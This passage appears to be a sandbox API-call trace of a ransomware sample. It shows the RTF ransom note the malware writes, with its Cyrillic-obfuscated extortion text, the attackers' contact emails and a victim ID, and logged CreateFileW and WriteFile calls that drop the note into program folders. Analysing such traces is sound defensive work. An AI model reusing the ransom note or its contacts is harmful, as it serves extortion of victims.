H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.949] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.950] CloseHandle (hObject=0x1cc) returned 1 [0033.951] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\!bwng_info!.rtf")) returned 0xffffffff [0033.951] GetLastError () returned 0x2 [0033.951] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 